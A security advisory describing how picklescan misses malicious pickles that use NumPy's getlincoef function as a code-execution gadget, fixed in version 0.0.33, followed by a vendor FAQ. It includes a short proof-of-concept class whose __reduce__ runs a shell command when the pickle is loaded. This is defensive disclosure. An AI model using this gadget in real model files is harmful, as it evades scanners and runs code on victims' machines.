GHSA-RRXM-2PVV-M66X

Picklescan uses the numpy.f2py.crackfortran.getlincoef function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.

Details

Picklescan fails to detect a malicious pickle that uses the gadget numpy.f2py.crackfortran.getlincoef in __reduce__, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.

PoC

class PoC:
    def __reduce__(self):
        from numpy.f2py.crackfortran import getlincoef
        return getlincoef, ("__import__('os').system('whoami')", None)

Credits

• ac0d3r
• Tong Liu, Institute of information engineering, CAS

• Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.
• Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.
• Enables supply‑chain poisoning of shared model files.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

Kodem intelligence

1. What is GHSA-RRXM-2PVV-M66X? GHSA-RRXM-2PVV-M66X is a high-severity code injection vulnerability in picklescan (pip), affecting versions < 0.0.33. It is fixed in 0.0.33. Untrusted input is evaluated as executable code within the application's runtime environment.
2. Which versions of picklescan are affected by GHSA-RRXM-2PVV-M66X? picklescan (pip) versions < 0.0.33 is affected.
3. Is there a fix for GHSA-RRXM-2PVV-M66X? Yes. GHSA-RRXM-2PVV-M66X is fixed in 0.0.33. Upgrade to this version or later.
4. Is GHSA-RRXM-2PVV-M66X exploitable, and should I be worried? Whether GHSA-RRXM-2PVV-M66X is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-RRXM-2PVV-M66X is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-RRXM-2PVV-M66X? Upgrade picklescan to 0.0.33 or later.